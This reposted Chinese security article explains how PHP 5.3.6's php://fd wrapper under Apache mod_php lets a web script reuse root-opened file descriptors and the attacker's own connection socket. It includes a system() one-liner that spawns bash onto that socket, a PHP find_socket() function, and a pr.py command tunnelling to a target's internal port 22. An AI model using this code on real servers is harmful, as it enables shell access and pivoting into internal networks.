来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 如果还有人记得我当年发在80sec上的那篇《Linux 系统文件描述符继承带来的危害》的话,应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了:由于在系统底层exec其他进程的时候,...
如果还有人记得我当年发在80sec上的那篇《Linux 系统文件描述符继承带来的危害》的话,应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了:由于在系统底层exec其他进程的时候,所有开启的FD就会被自动关闭,因此就没有办法使用system等php函数,在子进程如bash中继续操作原有开启的高权限文件描述符。
但是最近PHP 5.3.6引进了一个新特性:利用fopen("php://fd/fd_number", "w")的形式,可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。
结合这两点,由于php本身的一种运行方式是以apache的mod方式在apahe进程中存在的,所以对于php来说,他的自身进程也就是apache的进程,所有apache原来在root下打开的文件描述符,他都能操作。于是乎,原有修补完毕的漏洞,经过PHP新功能的妙手回春,又重现江湖了。
system("ip=`netstat -ane | grep ${_SERVER['REMOTE_ADDR']} | grep ESTABLISHED | awk '{print \$8}'`;socket=`ls -alh /proc/self/fd | grep \$ip |awk '{print \$9}'`; python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&\$socket 0>&\$socket 2>&\$socket");解读一下上面的 代码:通过比对netstat -ane(e参数的作用是输出socket号)的输出和/proc/self/fd(当前进程的文件描述符信息)的内容,找到相匹配的socket号,那就是当前连接的socket了,然后立刻重用之。很简单吧?
但当时的例子已经不能在apache补丁后使用了,因为他用到了子进程再重定向输入输出来实现端口复用。而现在由于不能使用子进程来做这些事情,因此所有难点就集中在如何自动化的查找当前连接的socket上。
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/
-->function find_socket(){ // Get tcp connection status from /proc $net = file_get_contents("/proc/net/tcp"); $net .= file_get_contents("/proc/net/tcp6");
// Find fd from /proc $dir = dir("/proc/self/fd"); while (false !== ($e = $dir->read())) { // Find socket inode in /proc/self/fd. if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){ if(preg_match("/socket:\[(\d+)\]/", @readlink("/proc/self/fd/".$e), $m1)){ // Match every socket inode in /proc/net/tcp & /proc/net/tcp6. // If it matchs this connection remote ip/remote port, bingo! We got it! if(preg_match("/.*${m1[1]}/", $net, $m2)){ preg_match_all("/(\w{8}):(\w{4})/", $m2[0], $m3);
// decode ips $sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1]; sscanf($sipstring, "%x", $siplong); $ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1]; sscanf($ripstring, "%x", $riplong); $sip = long2ip($siplong); $rip = long2ip($riplong);
// decode ports sscanf($m3[2][0], "%x", $sport); sscanf($m3[2][1], "%x", $rport);
if ($rip == $_SERVER['REMOTE_ADDR'] && $rport == $_SERVER['REMOTE_PORT']){ $dir->close(); return $e; // That is our socket fd. } } } } } $dir->close(); return false; }
ok,FD一找到,剩下的就是生成bash了。这里也不能老样子使用system,得换一下使用proc_open(为什么自己想)。具体代码就不写了。直接上效果:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/
-->python pr.py http://www.target.com/t.php 127.0.0.1:22
第一个参数为我们的脚本地址,第二个参数就是想要转发的目标地址了。我这里用的是target的22端口,实际上可以是他任意的内网地址。执行后,pr.py就会在我的机器本地监听1234端口,等待其他程序连接了。所有发送到本机1234的数据都会被转发到target的22端口中。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com